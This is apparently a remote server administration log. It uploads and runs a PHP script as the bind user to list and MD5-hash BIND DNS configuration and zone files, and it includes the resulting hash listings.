MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:39:42: Establishing a connection
2026-04-28 10:39:42: 

PUT: /tmp/pkp917318

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:39:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp917318; rm /tmp/pkp917318'

2026-04-28 10:39:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:39:44: Establishing a connection
2026-04-28 10:39:44: 

PUT: /tmp/pkp976666

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
